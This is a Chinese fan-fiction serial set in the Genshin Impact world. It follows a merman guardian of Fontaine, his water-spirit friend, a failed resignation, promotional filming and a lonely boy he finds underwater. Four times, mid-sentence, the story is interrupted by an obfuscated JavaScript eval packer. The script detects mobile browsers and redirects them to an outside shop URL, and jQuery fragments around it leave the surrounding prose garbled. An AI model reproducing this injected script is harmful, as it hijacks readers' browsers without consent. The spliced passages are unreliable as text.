有着薄荷蓝色卷曲头发的愚人众长官看着送到实验室的矿石,面具之下的猩红眼瞳闪过诡异的光。 鱼不知道,鱼背着老朋友在天寒地冻的至冬北湾港看极光,冻得牙齿直打颤。 两个外地佬自然是不知道极光该在哪里欣赏,之所以能找对地方,来自至冬的鲸鱼米兰娜功不可没。她还特意给两位打包了特产——冰川之下鲜甜的活虾。 “卡、卡吕普迪斯,我们、是不是、该快点回家了。”福勒依斯感觉如果自己是人类,已经冻到流鼻涕了。不过现在的情况也好不到哪里去了,至冬寒冷,这里尤甚,冰元素仿佛顺着她的力量流动痕迹蔓延到全身——她感觉自己快成为一个冰坨子。 极光真的很美,但是至冬也是真的好冷啊。 福勒依斯:T_T 静原直吸鼻涕:≥﹏≤ 最后也不寻思什么美景好风光了,这俩老老实实南下准备回家,静原实在忍不住,在港口海岸边找人类贸易,买了些肉食热酒暖暖身子,然后把福勒依斯揣怀里取暖。 福勒依斯感动得泪汪汪:“卡吕普迪斯,我要跟你当一辈子的好朋友。” 静原吸了吸鼻子:“你也是陪我嘛……等会,我买个壶,装点特产回去。” “什么特产要用壶装?你要买酒吗?” “给老大带水回去。至冬的雪水应该够地道了吧……不对,他不吃雪化的水。你帮我找找哪里的水干净。” 寻觅洁净的水源简直是纯水精灵的天赋技能,福勒依斯闭着眼都能告诉静原哪里的水最好。等一切忙活完,再快速游回枫丹。 福勒依斯也是体验了一把极速潜泳。 因此那维莱特时隔十三天,看见了眷属怀中两眼转圈圈的,小小一团的纯水精灵。 做过简单的检查后,那维莱特告诉一脸紧张的静原:“她的力量核心已经稳定下来了,日后好好修养就行。” 静原长吁一口气,然后跟那维莱特打报告:“我还以为她是被什么物种打得形体溃散力量皆失,一路提心吊胆,谁知道她是为了净化被人类污染的水源才这样,至冬大森林水脉四通八达,她就一个人怎么弄得过来,这又不是她该干的,至冬一帮人吃白饭的吗……” 面上是埋怨福勒依斯不自量力,实际是疯狂给她说好话。那维莱特欣赏这种品格,心里也有了判断。 “那维莱特,我知道芙宁娜大人下令让纯水精灵离境。但是福勒依斯在枫丹修养恢复速度会更快,可以申请等她形体稳固了再离开吗?” 那维莱特听后露出疑惑表情:“芙宁娜女士下令让她们离开吗?抱歉,我进入枫丹后未曾听过这个消息。不过我会帮你询问她的。” “谢谢那维莱特,我就知道你最好了。”静原殷切道,“这是福勒依斯帮我选的至冬净水,你应该会喜欢的。” “谢谢你,也谢谢她。”那维莱特轻笑,“长途奔波辛苦了,快休息吧。美露莘们也很想念你,之后不妨去看看她们。” 静原自然点头答应。 等他把福勒依斯送到湖中垂柳安顿下来后,那维莱特也带来了好消息,说芙宁娜准许了。 静原当然知道芙宁娜会答应这个请求,何况并不过分。因为下令让纯水精灵离境的是芙卡洛斯,而不是她,哪怕有意延续芙卡洛斯的做法,那维莱特出面也足够让芙宁娜稍稍的,后退一小步。芙卡洛斯是担心芙宁娜的人类身份被拆穿,静原自然不会故意使绊子妨碍她们的计划——等福勒依斯身体好一些后,他会送她离开的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560168|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着泡在水中缓缓浮沉的福勒依斯,静原沉默良久,悄悄离开。 “你说得对,芙宁娜女士。他已经活泼了许多,看不出阴郁的模样。”沫芒宫内,那维莱特对芙宁娜分享心得,“果然还是得让他和元素生命或者长生种交朋友,人类的生命太短暂了,对他来说过于残忍。” 可怜那维莱特如今还没意识到人类旧友离去带来的钝痛对他来说也是一种残忍。 芙宁娜正在吃小蛋糕,闻言沉默了一会才说:“两类寿命天差地别的生命交朋友,对彼此来说都是需要巨大勇气的行为 ” “是吗……”那维莱特沉思,然后肯定,“卡吕普迪斯的确是个勇敢的孩子。” 芙宁娜:好了我知道他是你家好大儿了。 她转移话题:“听说他给你带礼物回来了,是什么?至冬特产?” 说到这个这个,那维莱特可就精神了,跟芙宁娜详细解说了一番品水心得——不愧是人迹罕至的至冬雪山最纯净的水,凛冽的气息与纯粹的口感让龙着迷。 就是一壶太少了……慢慢喝吧。 正在海沫村和美露莘们分享至冬见闻的静原打了个喷嚏,引来小姑娘们的密切关注。 “是不是感冒了?” “至冬那么冷,卡吕普迪斯大人一定受寒了。” “卡吕普迪斯大人的尾巴鳞片也需要做个保养呢。” “让我来准备营养餐吧~”来自休假回来的希格雯,小姑娘人类模样的脸上满是笑容。 格蕾丝蒂听后简直是两眼放光,自告奋勇:“我来也帮忙!” 静原连连讨饶:“好姑娘,我真的没事。不用准备营养餐。” 希格雯摇摇头:“不行哦,卡吕普迪斯大人的身体还是太脆弱了。不想吃药的话,就得通过进食来补充身体所需营养。我会为你准备特制营养餐的,请交给我吧!” 静原:!!! 最后他默默流泪:“可以申请口味不要那么诡异吗?” 回应他的是美露莘们和天使一般可爱的笑容:“好的哟。” 希格雯:~( ̄▽ ̄~)~ “你这是怎么回事?谁给你投毒了?”福勒依斯看见朋友面如菜色,震惊地从水中升起,“小可怜,面上都发绿发紫了。” 静原吐出舌头:“你看,蓝色的。” 福勒依斯不理解:“所以你到底吃了什么……” “小姑娘做的营养餐……天哪,我感觉我能忍受吃海鲜了。可惜纯水精灵不吃这些,不然我一定要让你尝尝(我遭的罪)……不行,我又想吐了。我去沉玉谷一趟,买点山楂丸压一压……等你好了咱们一起去沉玉谷,那地方确实好。” “少说两句吧,我生怕你一口气上不来晕过去了……真的没问题吗?”感觉语序颠倒思绪混乱了。 “呕———” 强撑着的静原终于忍不住吐了。 “啊啊啊啊啊啊啊啊啊你不要在这吐哇!!!” 福勒依斯尖叫。 34.辞职风波 源水之国的水元素力丰沛,福勒依斯在老住处修养不过几个月,枫丹的冬日还没到,她就感觉自己已经好了个七七八八,只等时间缓慢增长失去的力量。 那还等什么,静原请假送她南下去了沉玉谷。为了福勒依斯的顺利移居,他此前特意写信询问璃月的大律师烟绯小姐,有关非人长生种族定居璃月沉玉谷的条件要求。又拜托烟绯小姐牵线搭桥联系了月海亭,于是福勒依斯在啥都不知道的情况下,被静原打包收拾送去了沉玉谷——在一处山腰的水潭。 吭哧吭哧顺着流水上来的静原瘫在潭边:“这地方风景不错吧?有山有水空气清新,挨着几处仙家洞府,我提前打听过,都是爱热闹又和善的璃月仙家,我不在的时候找他们聊八卦也是很不错的……山下是遗珑埠,往北走就是柔灯港。想回家,或者想写信,在遗珑埠找去枫丹的船就好,报我名字打八折优惠。” 福勒依斯眼神复杂:“卡吕普迪斯……你变了好多。” “嗯?怎么说?” “你以前什么都提不起兴趣的样子,也对这些俗务满不在意……怎的如今这么熟练?” “我常来沉玉谷度假,这边该知道的都清楚的。再说了……这百来年也不是白过的。 ”静原敛眸,想起了什么,很快又抬眼注视福勒依斯,“你才是受委屈。我好歹一直生活在海里。你却四处迁徙,居无定所。” “不过别担心,这样的日子不会太久,再过三百来年……一切就有了结局。” 他这样想着,觉得又有了些力气。 如今鲛人在沉玉谷也算是名声大噪了,静原偶尔在岸边采购些东西,下次再来就能发现店家的宣传语变了一变,要多肉麻有多肉麻,要多夸张有多夸张,静原看得眼皮子直抽抽,觉得这种虚假宣传夸大其词有点子难以招架。 但是要买的还是会买,毕竟璃月好吃的东西不要太多,都很合静原胃口。 起码甜品不甜,荤菜不腻,各类小吃也是充分融入了地方特产,带回枫丹给家里的孩子们送礼不要太合适。 这样想着,他觉得自己的挑食病也好了不少。 璃月民间大厨真的太多了,他好爱…… 从枫丹来看望福勒依斯的时候,他偶尔能看见秋秋的后人,眼神会柔软一些,不过多的没了。 再来一次他真的受不了,心又不是石头做的。若陀那种级别那种份量都无法忍受记忆磨损带来的痛苦,他一个小虾米,接受不了之见过几次面的小朋友从幼童到垂暮再到死亡也很正常吧? 真的很正常吧? 静原坐在枫丹海岸边胡思乱想,觉得是时候放空一下大脑,好好睡一觉了。 中间几百年的故事,要如何讲述呢? 静原的眼睛时不时就会痛一下,看见的未来也愈发清晰,有些故事他选择深入了解,有些他则保持沉默。 在过去游戏没能照看到的地方,枫丹这样的国家各个角落都有着属于人类自己的故事(或者事故)发生,偷摸研究禁忌的,因情仇杀的,勾结外乡异族的……静原看得多了,也就懒得管了。 从前他认为无论如何都要试着管一管,现在倒是麻木了。 因为管也没有用,水仙十字院的过去历历在目,静原费心劳神提心吊胆,换来的最好的结果也不过是少了一只失去记忆的机械狗。你要说他什么都没做吧,起码机械造物都留存下来了。你要说他干了啥事吧,该死的还是死了,悲剧还是发生了,安眠处沉睡的灵魂等待后世的旅行者前来唤醒——但这和静原有什么关系呢? 那是旅行者旅途的一部分,和他这种深海怪物有什么关系。 静原现在很不想和人类有联系,他想着,只要和那维莱特,美露莘,还有福勒依斯他们一起生活就好了。 起码他们之中不会有谁突兀的离他而去,不会有谁被卷进命运的安排之中。等到旅行者来到枫丹解决了预言的问题,他就彻彻底底无事一身轻了。 时过境迁,枫丹海上的极端天气也不再频繁发生了,哪怕是打雷下雨,海面也通常是平和的。人类点亮了科技树,建造了灯港,建造了巡轨船,建造了高耸的枫丹廷,山野间有机械造物巡逻,海中有各类探测工具白天黑夜,城市以及海面都明亮璀璨,自然的危险被控制到最小最小。天气预测也有更为精妙的仪器……静原感觉自己失业严重,正好他也不太想管事了,于是大笔一挥向沫芒宫递交辞呈,然后扭头回海里睡大觉。 “终于不用白天黑夜连轴转,格蕾丝蒂,我先睡个几天,有事再来找我哈。” 他这样叮嘱陪伴他数百年的小女孩,格蕾丝蒂迟疑的点点头,目送着人鱼叔叔潜入海洋,再难寻觅踪影。 与此同时,枫丹沫芒宫—— “怎么回事!美露莘转交的卡吕普迪斯大人的辞呈?!谁收的?谁收的!!不知道拦一拦吗?不知道把小美露莘请到待客室喝杯热茶拖延时间吗?” “老天爷,怎么长生种也会辞职啊?我以为就是普通的信,卡吕普迪斯大人不是经常给那维莱特大人写信吗……” “也许卡吕普迪斯大人是真的累了呢……他身兼数职几百年了。” “没事的,哪怕卡吕普迪斯大人不在,咱们也可以做好嘛。你看,灯塔照明、海上救援卫队、气象站天气预测、海事部门的沉船打捞和入港检测、柔灯港那边的暗礁分布图……不都有人做吗?” “你要不要听听你说了多少工作,增添了多少财政支出,养了多少无所事事每天按点打卡上下班的废物!你以为再找个无偿加班尽职尽责的牛马很容易吗?!” “嘘——低声些,这难道光彩吗?” “反正又不是我发工资……” “这些部门一旦出了差错捅了娄子,就是我们擦屁股收拾烂摊子,你还想省事?我告诉你,只有越省越多的!你忘了科学院那帮人省事省出的大篓子吗?!” 这话一出,场面顿时偃旗息鼓。不过也只有一瞬间。 “你跟我发什么火!卡吕普迪斯早走了!咱们谁还找得到他!” “你有本事接他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13594346|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞呈,你有本事找他回来啊!” “激将法对我没用!难道要我潜海下去找吗?” “你个傻蛋!找美露莘啊!” 芙宁娜推门进来的时候,正好听见了这样高亢的怒吼,好奇询问:“找美露莘干什么?又发生了什么案子?”美露莘一般供职于逐影庭,少部分在海事部门和巡轨船工作,因为她们视觉的特殊,所以一些案件在美露莘的辅助下会如有神助,更快破案。 等芙宁娜听完事情起因结果以后,第一反应是——卡吕普迪斯都要辞职了,那维莱特不会也跟着辞职吧? 第二反应是——“那维莱特知道这事吗?审批通过了吗?没盖章吧?” 沫芒宫这些吵得毫无风度可言的精英们互相看了一眼,然后望向那只当那维莱特秘书的美露莘。 人类的目光如有实质,美露莘乖乖巧巧:“那维莱特大人还没有从欧庇克莱歌剧院回来,今天的公务也没有开始处理。” 这帮公务员中脾气最爆的那位女士推了推眼镜,镜片闪过诡异的白光,冷静道:“我亲爱的同僚们,念在我们共事一场的情分上,这次也请务必尽心尽力。” 和她对呛的那位先生整理衣装:“不用你说我也明白。” 剩下的公务员麻溜的收拾文件,跟在两位前辈身后浩浩荡荡出发了。留下芙宁娜惊愕的站在原地,她发誓她从来没有见过这群公务员这么齐心协力过,平时胡扯头花互相推诿的次数不要太多。 “……真是长见识了……”芙宁娜女士如此感叹,然后也火急火燎的跟上去,找那维莱特主持大局。 她当甩手掌柜好几百年了,但也知道那维莱特和卡吕普迪斯这两位位枫丹做出的贡献。不提那维莱特几百年兢兢业业从无差错的公正审判,单是卡吕普迪斯护航枫丹海无人溺亡就是功德无量……更别提他在旅游业方面做出的杰出贡献(出卖色相?)——为了人鱼这个名头来枫丹旅游的人数占比可是高达百分之三十五啊…… 芙宁娜心底唏嘘不已,不过想到如果卡吕普迪斯不管海上事了,是不是可以拜托他多留意海底的动向……她又觉得对方辞职这件事不算特别糟糕了。 没人知道水神大人的纠结,因为在不表演的时候,她脸上永远都是从容镇定的表情。 被一大堆下属堵在欧庇克莱歌剧院的那维莱特露出了显而易见的疑惑表情。 “各位先生各位女士,能告诉我发生什么事了吗?” 等他听完各位为何而来后,露出了沉思表情:“抱歉各位,我目前也不知晓卡吕普迪斯为何递交辞呈。不过根据枫丹劳动法规定,递交辞呈到批准通过之间有三天的缓冲期,我会在三天内给各位一个答复。” 这时就有人问了:“不能直接拒绝卡吕普迪斯大人的辞职申请吗?” 那维莱特摇摇头:“他是自由的。” 哪怕是自己的眷属,那维莱特也不想勉强他做不喜欢做的事。如果做枫丹的大守护者的确让卡吕普迪斯感到厌烦……那维莱特接受他的辞职。 35.没辞成功 距离枫丹预言实现的时间点到来,只剩下不到百年。 已经混成老社畜老油条的静原自打递交了辞呈,真是无事一身轻。在伊黎耶林岛和厄里那斯两地逛了逛,按例慰问龙裔同胞们的生活,然后就在海底睡觉休息。 枫丹海上无风浪,自然也不会有人呼喊卡吕普迪斯这个名字救命,静原很是睡了几天好觉,醒了就找点吃的塞肚子,然后揣上摩拉去沉玉谷找老朋友吃香喝辣。 福勒依斯对他辞职的消息表示震惊:“你就这么大喇喇的辞职了?不管你家老大了?这可是他交给你的工作啊。” 你完了卡吕普迪斯,你犯了职场大忌。 静原嫌弃她大惊小怪,捏着茶熏乳鸽的一条腿边啃边说:“本来我的职责就是保持海域的纯净,警惕海底的危险。救人、预报天气、沉船打捞、船只护航、绘制暗礁分布图……这些本来就是随手的举动,入编后成了大守护者,多出一堆麻烦事。当就当了,也没什么,毕竟那维莱特给工资,人类也不难相处。可是人类科技发展起来了,很多事都有专业的机械来做,增添的那么多岗位还变相提高了枫丹就业率,我占着这个位置,和他们工作重复了,不好。” 福勒依斯离他油汪汪的手远了些:“然后你就这么水灵灵的辞职了?不怕那维莱特惩罚?” 静原诧异:“我为什么要怕?那维莱特很好的,我又不是彻底不管枫丹海了。” 福勒依斯:……这个朋友实力过硬以至于让人忘记他本身是个关系户。 “那就好……既然是深思熟虑的考量结果,我就不操心了。”福勒依斯说,“那你空闲了,岂不是有更多时间到处玩了?” “所以我来找你了。”静原吃完茶熏乳鸽,又开始剥茶叶蛋,“沉玉谷好吃的东西东西这么多,我还没吃腻。再过一些年,我想去其他国家看看,尝尝其他地方的特色。” 他留在枫丹太久了,久到快忘记前生旅途经历的好风景,以及对喜欢的角色的感情。 眼睛也不痛了,果然辞职是个好选择。 静原美滋滋的一口包圆茶叶蛋,尖尖的鲨鱼牙让他咀嚼什么都很轻松。 那维莱特来找静原的时候,对方正尝试在枫丹的湖泊养璃月特产莲花。 “把莲子敲开壳,埋进淤泥……是这样没错吧……” “卡吕普迪斯。”那维莱特走近,“最近还好吗?” 静原的自言自语被打断,他抬头就看见穿着那身繁琐审判官制服的那维莱特:“下午好啊那维莱特,最近的水还好喝吗?” “还不错。”那维莱特下意识回答,想起自己的来意后思索了一会,“我看到你递交的辞呈了……这是怎么了?有谁让你不高兴了吗?” 静原:?谁敢让我不高兴? 静原摇头:“没呀,你怎么会这样以为。我是仔细考虑过的,枫丹廷不需要大守护者了。” “为什么会不需要?”那维莱特不明白,“几百年来你兢兢业业,从无差错,贡献实在太多。” 静原挠挠头:“要怎么说呢……其实是我的工作和人类工作重复了很多。那维莱特,人类已经不是几百年前自保都困难的生物了,你看见枫丹这些年的变化了吗?枫丹科学院成立后,科技大爆发,已经方方面面改变了人们的生活。天气预测有气象站,海上照明有灯塔和浮标,搜救更不必说,海上风暴已经将近百年未曾出现,就算有,人类自己的搜救小队也足够应对。” 那维莱特在枫丹廷或许不知道,可他每日都在海中,人类社会有什么发展他看的清清楚楚,真真是日新月异该换天地。加上沉没预言,枫丹水位线年年上涨,海上也很久不起风暴……静原确实是闲了起来,胡思乱想的时间都多了几倍。 他不是因为不想和人类打交道才辞去工作的——那只是一个很小的因素,起不到决定性作用。 “那维莱特,我不再是必须的了。他们已经可以靠自己的力量过得很好,我能做的就是腾出位置,警惕暗中更大的危险。”静原笑了笑,“何况只是辞去工作而已,枫丹海真出了什么事我还是会管的。几百年前我没有当大守护者的时候不也这么做了吗?” 那维莱特只能无功而返,芙宁娜听完静原的理由后也不免沉思。 警惕暗中更大的危险……卡吕普迪斯果然知道些什么。 静原本以为事情已经解释清楚了,谁知道辞呈交完三天过后,他收到了新消息。 “卡吕普迪斯仍旧是枫丹的大守护者,只是职权范围改变了。”那维莱特这样说,“辛苦你在人类无法触及的地方继续工作了。” 静原露出了智慧的眼神:喵喵喵? 补药啊老大,我真的很想辞职当家里蹲啊。继续当枫丹公务员,哪怕是荣誉公务员也要年底述职啊!我补药写报告!我写了几百年的报告了!!! 老大!!!我只是想当个深海怪物每天吃吃喝喝啥事不管啊老大!!! 那维莱特并不知道眷属心中的崩溃,回到沫芒宫后不自觉的挺起胸膛,觉得自己真是太棒啦。 留下辞职梦破裂的静原瘫在贝壳床上默默掉小珍珠。 次日接到消息的福勒依斯从友人的信中感受到了社畜深重的怨念,无奈笑笑,还是为他高兴。 这家伙一闲下来就会想东想西,忙点也好。 福勒依斯这样想着,和身边的金红色小鲤鱼继续分享有关枫丹海怪的故事。 “他就是心肠太软啦,又迟钝,所以才把自己弄得这么憋屈……” 福勒依斯叹气,水族或多或少都能从水中汲取情感,卡吕普迪斯来找她玩的时候,虽然面上看起来跟个没事人一般,可心底的哀伤从未消退。 当年他从至冬将她抱回来的时候,贴着人鱼的胸膛,她感受到了对方的心跳,以及其中隐藏的惶恐与无措。她才明白,卡吕普迪斯一直都是那条害怕孤独的小鱼,从未变过。 “如今我也看不懂他了。” 静原甩了甩头,不明白自己为什么没有辞去大守护者的职位,身上还多了个枫丹旅游形象宣传大使的重担。 随着枫丹映影业的兴起,过去歌剧院的许多故事也被导演们提上拍摄日程。 表面上看起来和他一条鱼没啥关系对吧? 真的吗? “卡吕普迪斯大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604531|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,旧枫丹的服饰是这样吗?您看这个细节有没有问题?白色布料色差明显吗?” “卡吕普迪斯大人,人鱼妆造还是需要您来把控啊。” “卡吕普迪斯大人,我们的女一号专门来跟您学习人鱼游泳姿态,您看还有哪些可以改进的?” 静原:“……来了。” 如果光是服化道以及技术动作指导之类的事,他应承下来也没关系。 “卡吕普迪斯大人,枫丹形象宣传海报印您的照片可以吗?” “卡吕普迪斯大人,您和芙宁娜大人一起来拍一条吧!” 还是静原:“不要!!!” 他喜欢当幕后工作者啊啊啊啊啊! 为什么会这样这个样子! 当小助手的格蕾丝蒂歪头:“我们美露莘也会加入其中呢。导演说,这是枫丹对外形象交流的一部分,国家特色种族的宣传是重中之重。” 静原一脸麻木:“我以为放任人类对我形象魔改二创已经够宽容了。” 格蕾丝蒂微笑:“都说了您以前太惯着他们了。” 最后这样的宣传映影还是拍了,在静原的据理力争(抢权压迫)之下,只露了个侧脸和尾巴就算完了,还是海上拍摄,导演逼静原凹了半天的造型和角度,给静原凹得差点尾巴抽筋腰错位。 同剧组的芙宁娜拍拍他的肩膀:“习惯就好啦。” 静原抱着格蕾丝蒂惊恐逃离。 后来听静原说起这事的福勒依斯哈哈大笑:“什么叫事与愿违?这就叫事与愿违。你说你当年辞职本来是想远离人类的,非要跟你老大扯那么冠冕堂皇的借口。现在好了吧?你被需要了吧?一帮人类围着你转悠——哈哈哈哈哈哈哈哈哈哈哈!” “你笑得太猖狂了,我心里好痛。”静原眼神呆滞,瘫在水池里像一条死鱼。 这事还没完,等璃月人民看到了枫丹流出来的映影,尤其是沉玉谷地区人民——琢磨出点不对味来。 什么叫“人鱼是枫丹的特有种族,仅枫丹海的大守护者卡吕普迪斯一条”? 我们璃月(沉玉谷)也有鲛人啊!也是蓝头发蓝尾巴。 沉玉谷的乡亲们有话要说:“那鲛人隔三差五就在遗珑埠翘英庄出现,肯定是附近山里的仙人友人。璃月话说的那么地道,肯定是我们璃月的物种啊。” “那漂亮的蓝色头发蓝尾巴,我以前还在翘英庄看见过他哩。人家叫静源。” “静源,这一听就是个璃月名字啊。” 质朴的沉玉谷人民找上了璃月港总务司报告,说是枫丹忒不地道,虚假宣传。 “我们璃月也有鲛人!怎么就是枫丹独有的物种了呢?” 总务司负责人琢磨琢磨,觉得事情有点说不出来的怪异,就上报给了月海亭。月海亭秘书甘雨小姐一过眼,无奈笑笑。 乡亲们啊,有没有一种可能。这位人身鱼尾的长生种在枫丹叫人鱼,在璃月叫鲛人——人家是从枫丹来璃月玩的啊。 在沉玉谷山里修养的福勒依斯不知道自己在总务司和月海亭那里有备案,听到外面的风声也只是迷惑的眨眨眼,然后继续睡了。 36.沉默的小企鹅 枫丹宣传工作告一段落后,静原还是干回老本行,在海里巡视,打捞垃圾以及探测器。 闹了顿辞职还是有用的,他现在较以前的确轻松了很多,就是偶尔得收拾一下人类弄出来的烂摊子……比如天气预报有误耽误航运啊,海洋清洁器械把海洋生物一起清理了啊,莽荒能量外泄造成的污染啊,远洋捕捞结果网到了保护动物啊…… 人类捅娄子的本事真是一等一啊。 不对,这和闹离职前有什么区别? 静原一个头两个大,前脚才在浅海区把那些水体清洁机械鱼捞起来,后脚就得马不停蹄去解救误入渔网的贪吃幼鲸。柔灯港那边的暗礁分布图这个星期没能及时更新,又有船触礁…… 静原:“……” 他认认真真思考了一会,觉得这烂摊子不能他一条弱小无助的鱼来收拾,在柔灯港港口执勤室借了纸笔,洋洋洒洒给那维莱特写信打报告,又给沫芒宫公务员们找事干——这种懒政怠政他一点也不想惯着了。 格蕾丝蒂面对找上门询问静原最近怎么回事的沫芒宫员工,露出沉思的表情:“也许是开窍了吧。” 与其内耗自己,不如拉他人下水。 真当成了大守护者就得啥事一肩担啊?累不累啊? 格蕾丝蒂很高兴鱼叔叔想通了这一点,最近对方饮食都规律了不少,吃得下很多东西了。 静原:凭什么枫丹公务员到点打卡下班享受咖啡,我就得不眠不休跟在他们屁股后头收拾烂摊子?这都不是我该干的活了,还心安理得让我来管? 被压迫了四百多年的老实鱼终于开窍了。 真是可喜可贺啊。 鱼本来记性就不太好,忙里忙外了这么些年,好多事都想不起来了。不过当某一天他在浅海区的水底看见了一个带着潜水头盔的男孩后,记忆的闸门似乎松动了些。 那个孩子戴着厚重的潜水头盔,黑色的潜水服包裹躯体,就那么静静的待在水下一动不动,任由小鱼在身边环绕。海露花和汐藻就在身边,无声的摇摆着。 如果不是周围有水泡缓缓上浮,加上鱼群没有啃噬他的躯体,静原一个晃眼还真以为他死在这了。 怪不吉利的。 虽然这样想着,他还是靠近了些,伸手要捞那瘦小的孩子浮出水面——枫丹前些年也不是没人学潜泳给自己学晕过去了。 他靠近的时候,那孩子似乎受惊了,挣扎着后退,静原奇怪,枫丹人见他不至于害怕啊:“你这孩子待在这不动干什么?” 虽然是浅海区,但对于没有专业设备的人类来说,已经足够深了。阳光直射度不足,视物困难,汐藻都是蓝色的,静原自己不常逗留——总而言之不是人类小孩适合待的地方。 静原感觉到了这孩子的异样,触摸到没有被布料包裹的冰凉皮肤后,还是决定将他抱起来,往上游到阳光直射的温暖浅水区。 也许是看到了人鱼白色的鳍和蓝色的尾巴,知道了静原的身份,枫丹人在海中对卡吕普迪斯天然的信任占据了头脑的上风,这孩子倒是乖巧的被他抱着,只是僵硬得很。 “听得到我说话吗,小孩?” 其实不管人类在水下能不能用语言沟通,但他们都能听到人鱼的话。人鱼的声波自带穿透力,直达大脑。 静原没接触过这样类型的孩子,一声不吭的,安静、沉默、寂静,就像刚刚的那片海域。 怀中的脑袋微不可察的点了点,静原又问:“要不要上岸?我送你上去好不好?” 这回没反应,倒像是无声的拒绝。 好吧好吧。 静原没办法,将他安置在浅海区,距离水面只有几米,等这孩子不想待在这了很快就能浮出海面。 他一松手,小孩就像条海獭一般灵巧的钻出他的怀抱,一眨眼就不知道蹿哪了。 “嘿……真奇怪。” 静原不理解,他本以为这件事就结束了,谁知道过了几天在附近的另一片海域又发现了这个闷闷的孩子,这真是巧了。 依旧是戴着潜水头盔坐在海底发呆,只是这次找了个更隐蔽的地方,周围都是高大的海草林。 按理来说这样明显的表达出不想被打扰的姿态,静原是不会管第二次了。 可是那是个未成年小孩啊,静原能放任他一个人就这样待在海底? “哟,躲着我呢?还特意换了个地方。”他扒开海草,面上笑容很有几分压迫力,不知道是不是把孩子吓到了,对方怔愣着不动,微弱的低语透过厚重的潜水头盔传递到了耳聪目明的人鱼身边。 他说:“对不起。” 静原:你不会是有玉玉症吧? 说完又感觉自己声音太低,于是稍微提高了一点音量:“对不起……卡吕普迪斯大人……” “我听到了。”静原也是耐心,干脆也缩进海草林,坐在了小孩身边。这样封闭的,只能抬头看见波光粼粼水色天空的环境似乎给了小孩很大安全感,哪怕静原这么不见外也没让他更瑟缩。 静原特意放缓了声音,更柔软更似天籁:“为什么要说对不起?” 人鱼的声音奇妙而空灵,安抚人心很有一套,静原以前在海上救援的时候百试百灵,如今对付一个小孩简直就是手拿把掐。小孩沉默了一会,才轻轻的回答:“那天,逃走了,很对不起。” 静原挠头。 “躲在这里,被发现了,很对不起。” 静原无奈:“你又不欠我什么,没有对不起我,不用再道歉了。” 然后又是长久的沉默,给静原这个本质八卦话唠的家伙憋得不行,主动找话题:“是遇到了什么难事吗?躲在海里偷偷哭?” “……没、没哭。” “那就是遇到了难事了。”静原叹气,“瞧你这瘦骨伶仃的,岸上有其他人欺负你了?这样吧,告诉我,我去打报告。” 给人孩子都欺负到水里躲起来了,太过分了。 小孩缓缓摇头:“没人欺负我。” 静原没有再询问,而是又等了等。 小孩说:“……我找不到妈妈了。” 小孩的声音带着微弱的哽咽:“她不要我了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617498|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 静原这回真不知道怎么办了。找不到妈妈对小孩子来说真是跟天塌了一般。 他想了半天才憋出一句:“也许是遇到了什么困难吧。” 又是沉默。 静原努力:“妈妈会回来的,而且枫丹人除了生身母亲以外,还有另一位共同的母亲。” “是大海哦。枫丹海是所有枫丹人共同的母亲。你看,你躲在海底伤心的时候,是不是海水和其他小生物陪着你?” 很苍白的话语。 静原说:“难过就哭出来,不丢人,也没人会因为这个责备你。至少海不会。” 最后静原是抱着这个小孩游上岸的,在皎洁月光下坐在海岸边,取下了他的潜水头盔,露出了那头漂亮的浅金色短发。 原本哭的昏昏沉沉晕睡过去的小男孩在上岸后睁开眼睛醒来,发现自己是被人鱼抱在怀里拍背哄着,眼眶又有些湿润,低下头去不敢让人看见自己狼狈的模样,下意识想要戴上潜水头盔:“……别看我,求你了……” 静原只是说:“别害怕,我在这里。”然后继续轻轻拍着他的背,像哄孩子入睡一般。 “别害怕。” 沉默过后,这孩子主动取下了潜水头盔,挣扎着要站起来,静原也是随他去了。 不过这次他没有跑掉,而是低着头喃喃道:“我该回去了。”更晚一点,会被责罚的。 静原不知道内情,只是点头表示明白:“不用把头低成这样,我的脸很见不得人吗?” “没有没有……是我不敢……” 